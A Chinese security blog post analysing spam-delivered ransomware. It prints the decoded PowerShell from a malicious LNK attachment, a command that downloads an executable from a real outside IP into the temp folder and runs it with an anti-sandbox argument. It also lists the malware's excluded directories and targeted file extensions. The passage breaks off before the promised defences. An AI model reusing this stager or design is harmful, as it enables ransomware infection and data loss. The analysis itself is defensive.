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「InfoSec」分享：新型勒索病毒来袭，做好企业级防护的九个方法

2019-6-29 13:38 |来自: 互联网 2035 0

摘要: 样本溯源与行为分析最近国外安全研究人员公布了一个通过垃圾邮件进行传播的新型勒索病毒，黑客主要利用邮件附件LNK文件执行恶意代码下载勒索病毒，如下所示：LNK文件是用于指向其他文件的一种文件，也称为快捷方式文件，它主要是为了方便使用者通过点击LNK文件快速启动程序，该LNK样本在VT上的信息，如 ...

关键词： 文件病毒加密样本邮件 PowerShell 目录附件沙箱后缀

样本溯源与行为分析

最近国外安全研究人员公布了一个通过垃圾邮件进行传播的新型勒索病毒，黑客主要利用邮件附件LNK文件执行恶意代码下载勒索病毒，如下所示：

LNK文件是用于指向其他文件的一种文件，也称为快捷方式文件，它主要是为了方便使用者通过点击LNK文件快速启动程序，该LNK样本在VT上的信息，如下所示：

LNK样本运行之后，如下所示：

通过PowerShell执行相关的命令，解密出PowerShell的命令，如下所示：

cmd /c "$Env:windir\notepad.exe";

(New-Object System.Net.WebClient).DownloadFile("http://45.32.184.40:24163/download.php", "$Env:TEMP\12a880658b507f3883b09bb1df05c43b.exe");

cmd /c

"$Env:TEMP\12a880658b507f3883b09bb1df05c43b.exe Q2VwaGFsbyAoQmV0YSk=";

PowerShell恶意代码主要行为：

1.通过PowerShell调用notepad.exe程序

2.从http://45.32.184.40:24163/download.php下载勒索病毒到%TEMP%目录，然后通过参数执行调用

国外安全研究人员同时公布了该勒索病毒在app.any.run的样本运行链接，如下所示：

在app.any.run网站运行，如下所示：

(发现并没有勒索加密行为，具体原因见后面详细分析)

勒索病毒生成的勒索文本信息_READ_ME_.txt，如下所示：

核心技术原理剖析

1.样本通过调用Q2VwaGFsbyAoQmV0YSk=参数执行，主要是为了对抗一些自动化行为沙箱，如下所示：

(这也就是为什么此勒索病毒在app.any.run上跑不出勒索行为的原因)

2.遍历磁盘目录，加密文件，如下所示：

3.遍历磁盘文件的目录，如果包含以下字符串的文件目录，则不加密此目录下的文件，字符串列表，如下所示：

"Content.IE5",

"\\Temporary Internet Files",

"\\Local Settings\\Temp",

"\\AppData\\Local\\Temp",

"\\Program Files (x86)",

"\\Program Files",

"\\Windows",

"\\ProgramData",

"$"

4.遍历目录下的文件，需要加密的文件后缀名列表，如下所示：

".123",".3dm",".3ds",".3g2",".3gp",".602",".7z",".ARC",".PAQ",".accdb",".aes",".ai",".asc",".asf",".asm",".asp",".avi",".backup",".bak",".bat",".bmp",".brd",".bz2",".cgm",".class",".cmd",".cpp",".crt",".cs",".csr",".csv",".db",".dbf",".dch",".der",".dif",".dip",".djvu",".doc",".docb",".docm",".docx",".dot",".dotm",".dotx",".dwg",".edb",".eml",".fla",".flv",".frm",".gif",".gpg",".gz",".hwp",".ibd",".iso",".jar",".java",".jpeg",".jpg",".js",".jsp",".key",".lay",".lay6",".ldf",".m3u",".m4u",".max",".mdb",".mdf",".mid",".mkv",".mml",".mov",".mp3",".mp4",".mpeg",".mpg",".msg",".myd",".myi",".nef",".odb",".odg",".odp",".ods",".odt",".onetoc2",".ost",".otg",".otp",".ots",".ott",".p12",".pas",".pdf",".pem",".pfx",".php",".pl",".png",".pot",".potm",".potx",".ppam",".pps",".ppsm",".ppsx",".ppt",".pptm",".pptx",".ps1",".psd",".pst",".rar",".raw",".rb",".rtf",".sch",".sh",".sldm",".sldx",".slk",".sln",".snt",".sql",".sqlite3",".sqlitedb",".stc",".std",".sti",".stw",".suo",".svg",".swf",".sxc",".sxd",".sxi",".sxm",".sxw",".tar",".tbk",".tgz",".tif",".tiff",".txt",".uop",".uot",".vb",".vbs",".vcd",".vdi",".vmdk",".vmx",".vob",".vsd",".vsdx",".wav",".wb2",".wk1",".wks",".wma",".wmv",".xlc",".xlm",".xls",".xlsb",".xlsm",".xlsx",".xlt",".xltm",".xltx",".xlw",".zip"

5.加密算法使用AES算法，密钥为随机生成的密钥，如下所示：